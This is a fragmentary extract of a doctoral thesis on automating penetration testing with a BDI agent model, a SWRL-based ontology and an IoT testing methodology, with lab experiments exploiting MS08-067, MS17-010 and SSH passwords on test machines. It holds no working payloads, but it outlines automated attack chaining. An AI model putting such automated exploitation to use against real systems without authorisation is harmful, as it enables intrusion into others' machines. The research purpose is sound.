attack trees, attack graphs, PDDL-based attack planning, POMDP and ontology.
These methods have their own characteristics and limitations and do not carry out
real-time automated PT. In the next chapter, an agent model is introduced to solve
the problems.
Chapter 4
4.1 Introduction
Related research has used planning algorithms to model PT. However, these solutions
either cannot handle incomplete knowledge, uncertainty and a dynamic environment
or they exhibit poor scaling. This chapter presents the BDI architecture, which
provides a complete practical reasoning framework for automation of PT and re-
porting. The BDI knowledge base is used for decision making, which includes expert
experience.
39
40 Ge Chu
• Dynamic: The state of the target environment may change after an attacker
carries out actions.
• Uncertainty: The knowledge and response of the target environment are un-
certain. In Black-box PT, attackers usually cannot obtain accurate information
about targets. Moreover, the action effects of targeting the environment are
unknown.
• Complexity: In PT, the state space and action space are infinite in theory
because the target configuration is infinite and attackers can carry out infinite
actions to obtain target privilege. Usually, attackers need to choose the best
actions based on their experience.
4.2.1 Environment
4.2.2 State
4.2.3 Action
Actions refer to any executions that an attacker can carry out during PT. These
actions include either known PT tools such as Metasploit or attack scripts created
by attackers in order to acquire information about targets or attempt to obtain
privileges from targets by exploiting a vulnerability. Typically, each action has pre-
conditions and post-conditions.
4.2.5 Goal
The goal created for the agent needs to be consistent and achievable [23]. PT is a
process of identifying vulnerabilities by performing real attacks from the prospect of
an attacker. The goal of PT is to obtain high-level access privileges, such as root
or administrator, in target systems. However, the goal is not always achievable in
practice, a terminal state is needed to avoid infinite loops. Attackers can perform
various attacks to exploit targets and do not need to find the shortest attack path.
PT is more concerned about whether it can succeed in a specific time rather than
succeed in the shortest time.
• Ag is an agent’s name.
• B is a set of beliefs.
• D is a set of desires.
Chapter 4. BDI Architecture for Penetration Testing 43
• I is a set of intentions.
• P is a set of plans.
• A is a set of actions.
• S is a set of perceptions.
Belief set B represents environment or state information about the target, which
is updated after executing actions. In general, beliefs are represented symbolically
by ground atoms of first-order logic. At the early stage of PT, information-gathering
actions build belief set B to signify environmental information in terms of different
values and parameters from the agent’s perception. The function fBS shows that
the new beliefs can be generated based on current beliefs and perceived information
in the perception set S.
fBS : B × S → B (4.1)
Desire set D represents all the options or possible candidate plans of PT for
the agent that an agent might like to accomplish. In real-time PT, multiple types
of attack methods can be carried out in response to specific target information. For
example, if the hosts port 80 is left open, a number of attacks might be carried out,
including SQL injection attack, password attack or buffer overflow attack. Human
penetration testers would need to choose one type of attack according to their expe-
rience or preferences. The function fBI shows that the desires are determined based
on beliefs and intentions.
fBI : B × I → D (4.2)
44 Ge Chu
Intention set I represents the agent’s goals or the plans the agent decides to
carry out. In PT, the agent needs to choose one plan to carry out from the possible
candidate plans. The plan becomes an intention after being selected. The function
fBDI shows that beliefs, desires and intentions can generate new intentions.
fBDI : B × D × I → I (4.3)
• Trigger Event: is an event that the plan can handle, such as beliefs or goals
about the target environment or state information.
• Context: defines the conditions under which the plan can be used. In PT,
each attack needs to meet specific conditions.
Given the description of the BDI architecture above, the dynamic process and
reasoning cycle of a BDI agent for PT can be depicted as shown in Figure 4.1. The
process is as follows:
1. Initial beliefs and intentions are set up by the penetration tester and typically
represent information regarding the target, such as the domain or IP address and
the privilege that the PT must achieve.
2. The BDI agent perceives the target information by performing various information-
gathering actions. For example, Nmap can collect OS type and ports from the target.
3. After the gathered information is perceived, current beliefs are updated. At
this time, the BDI agent should hold the information about the target.
Chapter 4. BDI Architecture for Penetration Testing 45
4. According to the new current belief, all relevant action plans are found. For
example, if port 80 of the target is open, then password attack, buffer overflow attack
and SQL injection attack become candidate options for the human penetration tester.
5. The BDI agent chooses one plan from the candidate action plans to become
the intention and waits for it to be executed according to the plan’s context. A plan
can be taken from a human knowledge database. The priority of all actions is defined
in a human knowledge database.
6. The BDI agent executes the chosen plan. If the plan fails, then the agent
chooses another plan.
7. The BDI agent checks whether the initial goal is achieved or not and decides
either: (1) to output the report which records the process of the whole PT, or (2) to
return to the new reasoning cycle. Some conditions are defined to stop the reasoning
cycle, for example, all plans have been executed or the running time reaches the
limit.
4.4 Simulation
The BDI simulation was implemented in Jason, working on a PC with an Intel
I7 CPU at 2.0 GHz and 4GB of RAM. In Figure 4.2, the simulation experiment
consisted of two agents representing the BDI agent and the target agent. In order to
simplify the process of PT in the virtual environment, the internal communication
actions in Jason such as send(tell) and send(ask) were used to simulate the attack
and probe actions between the BDI agent and the target agent. The print() was
used to output the process of interaction. The structure of the plan in the Jason
interpreter is shown below:
This simulation was designed to validate the proposed BDI model in PT scenar-
ios and shows how beliefs can be changed according to environmental responses or
changes.
46 Ge Chu
Figure 4.2: The interaction between a BDI agent and a target agent
The basic information regarding the target was set up in the target agent’s initial
belief set, including system type, ports, services, vulnerabilities and the Secure Shell
(SSH) password (Table 4.1). To make the scenario uncertain, the success probability
of an SSH password attack was defined as 20%. The success probability of a remote
and local buffer overflow attack was defined as 50% and 70%, respectively, based
on personal PT experience. The original belief set of the target agent is shown in
Figure 4.3
• Desire: probe os(), probe port(), probe service(), probe vul(), check remote(),
check local(), password attack ssh(), buffer overflow attack local(),
buffer overflow attack remote()
• Intentions: stop()
1) Simulation 1
Figure 4.4 presents the result of simulation 1. From the figure, it can be seen
that the BDI agent probed all information about the target in the belief set and
successfully performed the password attack because the rate of the password attack
was over the specified 0.8 threshold. Then, the BDI agent performed a local buffer
overflow attack successfully; the prerequisite of a successful password attack was as-
sumed. However, the remote buffer overflow attack failed. The current privilege had
been changed from none to user and root. Three new beliefs, attacked(“cve local”),
password ssh(456) and privilege(root), were added to the belief set of the BDI agent,
50 Ge Chu
2) Simulation 2
In simulation 2, the BDI agent probed all the information about the target. All
attacks failed, and the BDI agent was stopped. The belief set is shown in Figure 4.6.
From the figure, it can be seen that the current privileges were not changed in the
belief set of the BDI agent. Figure 4.7 shows the result of simulation 2, in which the
remote buffer overflow attack and SSH password attack failed.
4.6 Reporting
The goal of PT is to find, exploit and determine the risk of system vulnerabili-
ties. The proposed BDI model can automatically generate a report, including target
information, implementation process, action set and result. In general, system in-
formation such as IP address, ports, configurations, services and vulnerabilities are
52 Ge Chu
stored in the belief set after the information-gathering stage to drive further actions.
Firstly, the BDI model can extract this information into a report file. Secondly, dur-
ing the automated PT, the BDI model can print each action performed to represent
the implementation process and action set. Finally, the results are stored in the
report to show the privilege has already been obtained. For future work, Natural
Language Processing (NLP) [48] technology can be used to generate more readable
PT reports.
4.7 Summary
This chapter presented an agent-based BDI model for the automation of PT, enabling
interactions between dynamic and uncertain targets. PT actions are defined as a
series of BDI plans, and the BDI reasoning cycle is used to represent the PT process.
To validate the BDI model, two simulations show the BDI agent behaviour and
reasoning process. A BDI-based knowledge base is used to determine how to act
during PT. Finally, the BDI model generates a PT report automatically.
Chapter 5
5.1 Introduction
The BDI model can make decisions based on pre-defined plans and interact with
environments, while humans can obtain new knowledge from collected information
by reasoning. Generally, new beliefs need to be generated after performing actions
in the BDI model. This can be done using an ontology. Also, ontologies can achieve
the reusability of knowledge. This chapter presents an ontology for PT and how to
achieve its reasoning ability based on SWRL rules. By combining an ontology with
SWRL rules, the reasoning ability of BDI models can be improved in the automation
of PT.
56
Chapter 5. Ontology for BDI-based Automation of Penetration Testing 57
In OntoPT, attacker, target, attack method and vulnerability classes are created
as top-level concepts. The attacker class includes a set of attacker instances, such as
attacker1. All the targets which have the root privilege belong to the attacker class.
The target class includes a set of target instances such as target 1 and target 2.
These target instances are described by data properties such as IP address, port, OS,
application, configuration and current permission. In this case, when two targets are
in the same subnet, this is indicated by a relation. Through ontology, it is easy to
understand the network topology of the target.
The vulnerability class includes a set of instances to represent vulnerability infor-
mation. The CVSS database can be used to establish the instances and the relation-
ships between the vulnerabilities through the pre-condition and post-condition of the
vulnerability. In OntoPT, the MS08-067 vulnerability instance has been included for
presentation purposes.
The attack method class consists of multiple levels of attack methods, based
on the PT taxonomy, such as buffer overflow attack or password attack. Within
the attack method class, specific attack actions are defined as instances which in-
clude data properties such as action, pre-condition and post-condition. If there is
a relation between an attacker instance and an action instance, that represent the
attacker performs the specific action. In OntoPT, one instance indicates performing
a buffer overflow attack with CVE number MS08-067. Property characteristics and
descriptions are used to represent axioms and restrictions in OntoPT. For example,
the object property isSameSubnet is symmetric. Moreover, all attack methods are
pre-defined and extensible in OntoPT.
To describe the relations between instances, five object properties are defined
below:
Rule-1:
V
isConnected(attacker, target1) hasVul(target1,MS08-067)
→ exploitBy(attacker, M S08 − 067 attack)
Unlike the BDI model, SWRL rules can be directly reasoned to obtain new knowl-
edge, while the BDI model needs to perform specific actions on the environment.
For example, ontology can discover potential attack paths through a combination of
SWRL rules, property characteristics and descriptions. Rule 2 presents a PT sce-
nario in an internal network, whereby, if the attacker can connect to target 2 and
successfully gain root permission, then target 2 becomes an internal attacker. In this
way, it is easy to ensure that the path reaches its final target. Figure 5.3 shows that
target 2 belongs to the attacker class after SWRL rule-based reasoning.
Rule-2:
V V
isConnected(attacker, target2) exploitBy(attacker, target2)
currentPermission(target2, root) → attacker(target2)
Chapter 5. Ontology for BDI-based Automation of Penetration Testing 61
5.4 Automation
Based on an ontology and SWRL rules, the BDI agent framework achieves a better
performance in automated PT. In general, an ontology is used to store knowledge of
targets and attacks, while the BDI agent performs specific attack actions. Owlready
[58] is a module for ontology-oriented programming in Python which is used to
interact between the ontology and the BDI agent by performing actions such as
load, query, create, update classes, instances, properties and reasoning. In addition,
BDIPython is used to implement the BDI mechanism, which is a Python library
used to support BDI-style programming. The approach has two knowledge bases,
SWRL rules and BDI plans. The SWRL rules are used to make decisions about
an attack by inference using the ontology, while plans are used to perform multiple
attack steps in the BDI agent. In fact, the ontology is only updated with the result
of an attack rather than with the information generated by the intermediate process
of an attack. The advantage of using an SWRL-based ontology knowledge base is
that the agent can infer new knowledge rather than relying on pre-defined plans.
- IP address: 192.168.1.162
- Ports: 135, 139, 445, 3389
- Operating system: Windows XP SP3
- Vulnerabilities: MS08-067, Weak password
- Current permission: None
Chapter 5. Ontology for BDI-based Automation of Penetration Testing 65
The MS08-067 buffer overflow attack and SSH password attack are used to show
the process of attack, as shown in Figure 5.5. Firstly, after inputting the target 2
IP address and attacker’s IP address, the agent starts to probe the target 2 ’s port.
Then, according to the port scan results, there is no SSH port running on target
2. Thus, the agent performs the MS08-067 attack. Finally, the MS08-067 attack is
successful (see Figure 5.6), and the agent obtains the highest permission in the target
2 system. Figure 5.7 shows a connection has been created between the agent and
target machine with a system privilege through the 4444 port.
All the information about target 2 is stored in the data property. Figure 5.8
shows the updates of the data property in target 2 and the relation between attacker
instance and MS08-067 instance in the ontology. In target 2 data properties, current
permission is changed to system.
Chapter 5. Ontology for BDI-based Automation of Penetration Testing 67
5.6 Summary
In this chapter, an ontology-based automated PT approach was proposed. An ontol-
ogy was created by Protege based on PT attack taxonomy. To help make decisions
and generate new knowledge, SWRL rules were used to create an extra PT knowl-
edge base. To validate the approach, the BDIPython library was used to implement
an attack scenario in a virtual environment. By using an ontology, the BDI model
obtained better reasoning ability in the automation of PT.
Chapter 6
6.1 Introduction
The IoT was proposed by MIT in 1999; this particular period heralded a critical
episode in the new generation of information technology [21]. The IoT is considered
an extension of the traditional Internet, whereby things in the physical world can
be connected to the Internet. The IoT allows information communication transfer
along with recognition, location, tracking information, monitoring and management
based on Radio Frequency Identification (RFID), sensor, GPS or machine to machine
technologies. According to the literature, the IoT structure consists of three layers:
application, network and perception [29]. The application layer provides various ser-
vices to users in different scenarios. The network layer is responsible for information
transmission and processing. Finally, the perception layer collects information and
identifies objects in the physical world, including various hardware terminals such as
RFID, sensor and GPS. Currently, IoT technology has been applied in various fields
such as smart grid, intelligent traffic, smart city, smart home, intelligent healthcare,
physical activity and smart building. However, due to a growing number of attacks,
a significant number of researchers have recently focused on security.
70
Chapter 6. Penetration Testing for Internet of Things and Its Automation 71
Most IoT security research focuses on the analysis, defence or attack of a specific
device. To date, no approach has been devised to evaluate the overall security of
IoT from the perspective of an attacker. Although PT is a heavily favoured method,
the process incurs extensive financial costs and takes a significant amount of time.
Automation can significantly improve the efficiency of PT. This chapter analyses the
security problems of IoT and proposes a PT methodology and its automation based
on the BDI model to evaluate IoT security.
• Nmap: a free and open source utility for network discovery and security au-
diting.
• Shodan: detects which of your devices are connected to the Internet, where
they are located, any vulnerabilities and who is using them.
6.3.2 Analysis
In the analysis stage, information regarding the target must be organised and anal-
ysed; subsequently, viable attack paths must be discerned and planned to obtain
access privilege to the target. Additionally, a validity check is often required and
performed within an experimental environment.
6.3.3 Exploitation
Real attacks are performed based on viable attack paths and planning in the analysis
stage. During PT, the DDoS attack is prohibited to ensure the availability of the
target.
The IoT node characteristic in the perception layer determines the attack on this
layer and is the cause of the difference between traditional and IoT PT. Specific
attacks can be performed by Hardware Bridge API or IoTseeker, including [54]:
• Access control attack on the node: IoTseeker breaks the IoT device’s
default password.
Attacks on the network layer normally include: network traffic sniffer, signal replay,
signal fake and signal hijacking in different network communication protocols, such
as WIFI, 3G, 4G, GSM, Bluetooth by wireless attack Aircrack-ng. The description
of these attacks is as follows:
• Signal hijacking: jamming the target network and forcing the target node to
connect to a controllable fake network.
The attack on the application layer is very similar to traditional PT, which consists
of web application attack, software buffer overflow attack and password attack by
using tools such as, but not limited to:
Social engineering attack refers to a type of attack on the general publics lack of
security awareness. In a hypothetical example, employees can be targeted by de-
livering a malicious email to them, which enables machine access privilege to the
targets sub-network and further PT objectives. The ability to perform this type of
attack requires Setoolkit, the best-known tool within the field of PT, consisting of
social engineering attack tools.
6.3.4 Reporting
Successful PT results in identifying vulnerabilities, whose details are processed and
subsequently reported to the owner of the target as information to improve security.
6.4 Experiment
The model runs on a PC with an Intel I5 CPU at 2.3 GHz and 8GB of RAM. As shown
in Figure 6.2, the simulation experiment represents the BDI agent and the three
layers of IoT. The internal communication actions in Jason were used to simulate
the interaction between the BDI model and the IoT. The model is implemented by
AgentSpeak Jason.
Application layer Linux, App, Nginx, MySQL, port, SSH CVE-remote CVE-local, weak password:SSH:456
Perception layer light, lightness sensor, ZigBee protocol No encryption, Replay attack
6.4.3 Simulation
A failed attack on the application layer was assumed. The attack on the network
and perception layer successfully showed the difference between the traditional and
current PT system for IoT. The basic information in the three layers was successfully
obtained, including OS type, ports, services, network type, network security and
vulnerabilities. The process of PT for IoT by the BDI agent can be observed in
Figure 6.3. Moreover, the BDI agent was successful in breaking the SSH password
and obtaining the users privilege. However, it failed to perform a local buffer overflow
attack to get root privilege. The BDI agent successfully performed a sniffer attack
due to the lack of security protection over each layer’s information transmission.
This resulted in the necessary information being gained regarding the light sensor
and light control instructions. Figure 6.4 shows the information collected by the BDI
agent that was stored in the belief set.
Figure 6.5 shows the process of information transmission in the network layer.
The command ’turn on the light’ and the light sensor information were transmitted
between the application and the network layer, which is exhibited in the belief set
of the network layer. Basic information and the value from the perception layer
are contained within the belief set of the application layer agent displayed in Figure
6.6. In the simulation, the value of the light sensor is 40. In the perception layer,
two agents represent light and light sensors. The BDI agent can perform the replay
attack according to the light sensor information and light control instructions, as
80 Ge Chu
shown by the belief set of node 1 and node 2 displayed in Figure 6.7 and Figure 6.8.
Chapter 6. Penetration Testing for Internet of Things and Its Automation 83
6.5 Summary
This chapter considered the IoT security features and proposed a PT methodology for
IoT. Its automation was achieved based on the BDI model. A simulated experiment
in Jason was used to verify its feasibility.
Chapter 7
7.1 Introduction
This chapter describes the performance of the BDI model in a real environment.
The BDI model was much faster than manual PT. In addition, the BDI model was
superior to the other approaches in regard to automation, real-time, uncertainty,
dynamic and scaling.
7.2 Experiments
For the performance analysis and evaluation, the proposed BDI model was tested in a
real environment. The experiment consisted of a Kali Linux machine as the attacker
agent and three target machines: Windows XP Service Pack 3, Windows 7 Service
Pack 1 and Metasploitable2 Linux. Metasploitable2 is a virtual machine based on
Ubuntu Linux that is designed to test common security vulnerabilities. For the ex-
periment, the BDI model was implemented using PROFETA [27], a Python tool for
programming autonomous systems using a declarative approach. PROFETA is a for-
mal language for creating BDI software agents, which is mainly used in autonomous
agents. One of the features of PROFETA is that it combines an object-oriented
paradigm and a declarative paradigm. A PROFETA program can be implemented
86
Chapter 7. Experiments and Evaluation 87
Name Description
port(Belief) represents open port information
ostype(Belief) represents operating system information
privilege(Belief) represents privilege information
password(Belief) represents password information
vul(Belief) represents vulnerability information
application(Belief) represents application information
Table 7.2: Beliefs used in the experiment
Name Description
scanport(Action) Scan port, OS identification
check ms17010(Action) Determine if the vulnerability MS17010 exists
determine ms17010(Action) Obtain information from check MS17010 log file
ms17010 xp(Action) Attack Windows XP by MS17010 vulnerability
attack result ms17010 xp(Action) Determine the result of MS17010 attack on Windows XP
ms17010 win7(Action) Attack Windows 7 by MS17010 vulnerability
attack result ms17010 win7(Action) Determine the result of MS17010 attack on Windows 7
ssh password attack(Action) Crack SSH password
attack result ssh password attack(Action) Determine the result of SSH password attack
irc attack(Action) Attack by IRC vulnerability
attack result irc attack(Action) Determine the result of IRC attack
onto input(Action) Input information into an ontology
onto get(Action) Get information from an ontology
syncReasoner(Action) Run reasoning in an ontology
Event/Condition / [setofActions]
The event can be a belief or a goal to trigger specific plans. The condition refers
to a set of pre-conditions, while the actions can be goals or a user-defined set of
actions. The goal was defined for the BDI agent to obtain root privilege of targets
or a set of plans to cover the whole PT process. The plans are shown below:
# Define r u l e s
+s t a r t ( ) >> [ s c a n p o r t ( ) , o n t o i n p u t ( ) , syncReasoner ( ) ,
onto get () ]
+p o r t ( ” 445 ” ) >> [ check ms17010 ( ) , determine ms17010 ( ) ]
+v u l ( ” ms17010 ” ) / o s t y p e ( ” windowsxp ” ) >>[ms17010 xp ( ) ,
attack result ms17010 xp () ]
90 Ge Chu
Rule-3:
V
isConnected(attacker1, ?x) isSameSubnet(?x, ?y)
→ isConnected(attacker1, ?y)
Chapter 7. Experiments and Evaluation 91
7.3 Evaluation
A range of metrics was used to assess the performance of the proposed automated
PT system, such as problem size, number of hosts in exposure, genetic generation,
training epoch, network state, number of objectives, action model, AI engine, con-
nectivity and vulnerabilities [65]. However, it is impossible to completely compare
related studies because the test environments are different. A large number of stud-
ies [93, 86, 4, 94, 92, 34, 43] used their own test targets to assess the performance of
their proposed solutions. Also, it is difficult to know the details of the test targets
used in each solutions. For example, a proposed automated PT system can attack
some targets easily, but not others. This makes the performance relevant only to the
model proposed in the respective study as there is no standardised basis for testing.
The process of automatic PT is dynamic and uncertain, while the probability of
success depends on the model and knowledge base. After a belief triggers a plan, the
BDI model executes the plan sequentially. If it fails to execute one plan, it goes back
to the previous step to execute another one. The model stops if beliefs can trigger
no plans, or all plans have been executed but do not realise the initial goal. Human
experts can adjust the priority of the plans based on their experience to improve the
model’s efficiency.
To highlight the performance enhancement of the BDI model, an evaluation was
carried out to compare the time consumption between the BDI model and manual PT
using the same target and attack. Usually, the BDI model requires a few seconds to
perform an attack, while it takes a few minutes to execute an attack manually. In the
experiment to attack Metasploitable2 Linux, for example, a series of configurations
was required to carry out a buffer overflow attack, password attack and port scan,
in Metasploit, including attack payload, target IP address, port and attack type.
It usually takes a few minutes to complete each configuration manually. However,
since all actions are pre-defined, the BDI model only took a few seconds to perform
similar actions. Table 7.4 shows the time taken for each action by the BDI model
and PT to attack Metasploitable2 Linux.
Human experts need at least a few minutes or more to decide what action to per-
98 Ge Chu
form, while the BDI model completes the decision almost instantaneously. Therefore,
the BDI model is much faster than manually performing a similar PT task.
The BDI model can perform real-time automated PT in an uncertain, dynamic
environment. Chapter 3 mentioned the limitations of attack trees, attack graphs,
PDDL-based planning and POMDP in the automation of PT. In industry, Metas-
ploit supports automation using resource scripts [51]. These scripts contain a set of
console commands that are executed when the script load. However, this approach
only executes pre-defined commands in order and cannot deal with uncertainty and
dynamic scenarios. Table 7.5 shows the comparison of the BDI model with these
approaches.
Table 7.5: Comparison between the BDI model with other approaches
Chapter 7. Experiments and Evaluation 99
7.4 Summary
In this chapter, the proposed BDI-based automated PT model was tested in a real
environment. The BDI model was implemented using the PROFETA and SWRL
rule-based ontology, which performed automated PT on Linux, Windows XP and
Windows 7. It is difficult to completely compare related studies because the test en-
vironments were different, and there is no standardised basis for testing. This chap-
ter presented an evaluation to compare the time consumption of the BDI model and
manual PT. Also, it was possible to compare the BDI model with other approaches,
namely automation, real-time, uncertainty, dynamic and scaling. The result illus-
trated that the performance of the BDI model was much better than manual PT
and other approaches. It was also found that the proposed BDI model could per-
form more comprehensive and complex automated attacks on various targets by
expanding the action space and plan.
Chapter 8
Conclusions
8.1 Introduction
This chapter concludes by summarising the research carried out and the main con-
tributions, as well as addresses some directions for future research.
8.2 Summary
This thesis has achieved real-time automation of PT by using the BDI model and
OntoPT. The BDI model can deal with problems such as interactivity, dynamic,
uncertainty and complexity in real-world scenarios. The ontology is designed for PT
based on SWRL rules for knowledge reuse and reasoning. Based on OntoPT, the
BDI model can identify relationships between the targets and the vulnerabilities and
enhance its reasoning ability. Moreover, this thesis has proposed a PT methodology
for IoT and its automation based on the BDI model to evaluate IoT security. The
results of a real experiment, including Windows XP, Windows 7 and Linux, illustrate
that the performance of the BDI model is better than the manual and existing ap-
proaches. The BDI model can achieve more comprehensive and complex automated
attacks on various targets by expanding the action space and plan.
100
Chapter 8. Conclusions 101
• Using the BDI model to deal with interactive, dynamic, uncertain and complex
real-world scenarios of PT.
• Using the BDI to model the state space, action space and execution in PT
activity.
• Creating an ontology with SWRL rules to improve the reasoning ability and
enable knowledge reusability within PT scenarios
• Analysing the characteristics of IoT security and using a BDI model to evaluate
its security.
[1] M Ugur Aksu, Kemal Bıçakçı, and Enes Altuncu. A first look at the usability
of openvas vulnerability scanner. In Workshop on Usable Security (USEC)
2019. NDSS, 2019.
[2] Mohammed Alhomidi and Martin Reed. Risk assessment and analysis through
population-based attack graph modelling. In World Congress on Internet Se-
curity (WorldCIS-2013), pages 19–24. IEEE, 2013.
[3] Lee Allen, Tedi Heriyanto, and Shakeel Ali. Kali Linux–Assuring security by
penetration testing. Packt Publishing Ltd, 2014.
[4] Paul Ammann, Duminda Wijesekera, and Saket Kaushik. Scalable, graph-
based network vulnerability analysis. In Proceedings of the 9th ACM Confer-
ence on Computer and Communications Security, pages 217–224. ACM, 2002.
[5] Michael Lyle Artz. Netspa: A network security planning architecture. PhD
thesis, Massachusetts Institute of Technology, 2002.
[6] Jay Beale, Haroon Meer, Charl van der Walt, and Renaud Deraison. Nessus
Network Auditing: Jay Beale Open Source Security Series. Elsevier, 2004.
[7] AG Bernardo Damele and M Stampar. Sqlmap: automatic sql injection and
database takeover tool, 2012.
[8] Mark S Boddy, Johnathan Gohde, Thomas Haigh, and Steven A Harp. Course
of action generation for cyber security using classical planning. In ICAPS,
pages 12–21, 2005.
102
Bibliography 103
[9] Olivier Bodenreider. The unified medical language system (umls): integrating
biomedical terminology. Nucleic acids research, 32(suppl 1):D267–D270, 2004.
[10] Rafael H Bordini, Jomi Fred Hübner, and Michael Wooldridge. Programming
multi-agent systems in AgentSpeak using Jason, volume 8. John Wiley & Sons,
2007.
[11] Michael Bratman. Intention, plans, and practical reason, volume 10. Harvard
University Press Cambridge, MA, 1987.
[12] Paul Bremner, Louise A Dennis, Michael Fisher, and Alan F Winfield. On
proactive, transparent, and verifiable ethical reasoning for robots. Proceedings
of the IEEE, 107(3):541–561, 2019.
[13] James Broad and Andrew Bindner. Hacking with Kali: practical penetration
testing techniques. Newnes, 2013.
[14] Paolo Busetta, Nicholas Howden, Ralph Rönnquist, and Andrew Hodgson.
Structuring bdi agents in functional clusters. In International Workshop on
Agent Theories, Architectures, and Languages, pages 277–289. Springer, 1999.
[15] Franco Callegati, Walter Cerroni, and Marco Ramilli. Man-in-the-middle at-
tack to the https protocol. IEEE Security & Privacy, 7(1):78–81, 2009.
[16] SU Jin-Shu HAN Wen-Bao CHEN Feng, ZHANG Yi. Two formal analyses of
attack graphs. Journal of Software, 21:838–848, 2010.
[17] Kim On Chin, Kim Soon Gan, Rayner Alfred, Patricia Anthony, and Dick-
son Lukose. Agent architecture: An overviews. Transactions on science and
technology, 1(1):18–35, 2014.
[19] Sharon Conheady. Social engineering in IT security: Tools, tactics, and tech-
niques. McGraw-Hill Education Group, 2014.
[21] Li Da Xu, Wu He, and Shancang Li. Internet of things in industries: A survey.
IEEE Transactions on industrial informatics, 10(4):2233–2243, 2014.
[22] Matthew Denis, Carlos Zena, and Thaier Hayajneh. Penetration testing: Con-
cepts, attack methods, and defense strategies. In 2016 IEEE Long Island
Systems, Applications and Technology Conference (LISAT), pages 1–6. IEEE,
2016.
[23] FPM Dignum, David Kinny, and Liz Sonenberg. From desires, obligations and
norms to goals. Cognitive science quarterly, 2(3-4):407–430, 2002.
[25] Dominik Elsbroek, Daniel Kohlsdorf, Dominik Menke, and Lars Meyer. Fidius:
Intelligent support for vulnerability testing. In Working Notes for the 2011
IJCAI Workshop on Intelligent Security (SecArt), page 58, 2011.
[27] Loris Fichera, Fabrizio Messina, Giuseppe Pappalardo, and Corrado Santoro.
A python framework for programming autonomous robots using a declarative
approach. Science of Computer Programming, 139:36–55, 2017.
Bibliography 105
[28] Laurent Gallon and Jean-Jacques Bascou. Cvss attack graphs. In 2011 Sev-
enth International Conference on Signal Image Technology & Internet-Based
Systems, pages 24–31. IEEE, 2011.
[29] Gang Gan, Zeyong Lu, and Jun Jiang. Internet of things security analysis. In
2011 international conference on internet technology and applications, pages
1–4. IEEE, 2011.
[30] Jian-bo Gao, Bao-wen Zhang, Xiao-hua Chen, and Zheng Luo. Ontology-
based model of network and computer attacks for security assessment. Journal
of Shanghai Jiaotong University (Science), 18(5):554–562, 2013.
[31] Michael P Georgeff. Reasoning About Actions & Plans. Elsevier, 2012.
[32] Malik Ghallab, Dana Nau, and Paolo Traverso. Automated Planning: theory
and practice. Elsevier, 2004.
[33] Mohamed C Ghanem and Thomas M Chen. Reinforcement learning for intel-
ligent penetration testing. In 2018 Second World Conference on Smart Trends
in Systems, Security and Sustainability (WorldS4), pages 185–192. IEEE, 2018.
[34] Nirnay Ghosh and SK Ghosh. An intelligent technique for generating minimal
attack graph. In First Workshop on Intelligent Security (Security and Artificial
Intelligence)(SecArt09). Citeseer, 2009.
[36] Nicola Guarino. Formal ontology, conceptual analysis and knowledge repre-
sentation. International journal of human-computer studies, 43(5-6):625–640,
1995.
[37] Simon Hansman and Ray Hunt. A taxonomy of network and computer attacks.
Computers & Security, 24(1):31–43, 2005.
106 Ge Chu
[38] Kevin P Haubris and Joshua J Pauli. Improving the efficiency and effectiveness
of penetration test automation. In 2013 10th International Conference on
Information Technology: New Generations, pages 387–391. IEEE, 2013.
[39] Liwen He and Nikolai Bode. Network penetration testing. In EC2ND 2005,
pages 3–12. Springer, 2006.
[40] Almut Herzog, Nahid Shahmehri, and Claudiu Duma. An ontology of infor-
mation security. International Journal of Information Security and Privacy
(IJISP), 1(4):1–23, 2007.
[41] Pete Herzog. Open-source security testing methodology manual. Institute for
Security and Open Methodologies (ISECOM), 2003.
[43] Jörg Hoffmann. Simulated penetration testing: From” dijkstra” to” turing
test++”. In Twenty-Fifth International Conference on Automated Planning
and Scheduling, 2015.
[44] Ian Horrocks, Peter F Patel-Schneider, Harold Boley, Said Tabet, Benjamin
Grosof, Mike Dean, et al. Swrl: A semantic web rule language combining owl
and ruleml. W3C Member submission, 21(79):1–31, 2004.
[45] Z. Hu, R. Beuran, and Y. Tan. Automated penetration testing using deep
reinforcement learning. In 2020 IEEE European Symposium on Security and
Privacy Workshops (EuroS PW), pages 2–10, 2020.
[47] Nwokedi Idika and Bharat Bhargava. Extending attack graph-based security
metrics and aggregating their application. IEEE Transactions on dependable
and secure computing, 9(1):75–85, 2010.
[48] Nitin Indurkhya and Fred J Damerau. Handbook of natural language processing,
volume 2. CRC Press, 2010.
[49] Kyle Ingols, Matthew Chu, Richard Lippmann, Seth Webster, and Stephen
Boyer. Modeling modern network attacks and countermeasures using attack
graphs. In 2009 Annual Computer Security Applications Conference, pages
117–126. IEEE, 2009.
[50] Sushil Jajodia, Steven Noel, and Brian Oberry. Topological analysis of network
attack vulnerability. In Managing Cyber Threats, pages 247–266. Springer,
2005.
[52] David Kennedy, Jim O’gorman, Devon Kearns, and Mati Aharoni. Metasploit:
the penetration tester’s guide. No Starch Press, 2011.
[53] Marjan Keramati, Ahmad Akbari, and Mahsa Keramati. Cvss-based security
metrics for quantitative analysis of attack graphs. In ICCKE 2013, pages
178–183. IEEE, 2013.
[54] Benjamin Khoo. Rfid as an enabler of the internet of things: Issues of security
and privacy. In 2011 International Conference on Internet of Things and 4th
International Conference on Cyber, Physical and Social Computing, pages 709–
712. IEEE, 2011.
[57] Hanna Kurniawati, David Hsu, and Wee Sun Lee. Sarsop: Efficient point-
based pomdp planning by approximating optimally reachable belief spaces. In
Robotics: Science and systems, volume 2008. Zurich, Switzerland., 2008.
[60] Gordon Fyodor Lyon. Nmap network scanning: The official Nmap project
guide to network discovery and security scanning. Insecure, 2009.
[63] Mario Martin and Hector Geffner. Learning generalized policies from planning
examples using concept languages. Applied Intelligence, 20(1):9–19, 2004.
[64] Drew McDermott, Malik Ghallab, Adele Howe, Craig Knoblock, Ashwin Ram,
Manuela Veloso, Daniel Weld, and David Wilkins. Pddl-the planning domain
definition language, 1998.
[65] Dean Richard McKinnel, Tooska Dargahi, Ali Dehghantanha, and Kim-
Kwang Raymond Choo. A systematic literature review and meta-analysis
Bibliography 109
[66] Peter Mell, Karen Scarfone, and Sasha Romanosky. Common vulnerability
scoring system. IEEE Security & Privacy, 4(6):85–89, 2006.
[67] Daniel Miessler. Securing the internet of things: Mapping attack surface areas
using the owasp iot top 10. In RSA Conference, 2015.
[69] Mahin Mirjalili, Alireza Nowroozi, and Mitra Alidoosti. A survey on web
penetration test. Advances in Computer Science: an International Journal,
3(6):107–121, 2014.
[70] Volodymyr Mnih, Koray Kavukcuoglu, David Silver, Alex Graves, Ioannis
Antonoglou, Daan Wierstra, and Martin Riedmiller. Playing atari with deep
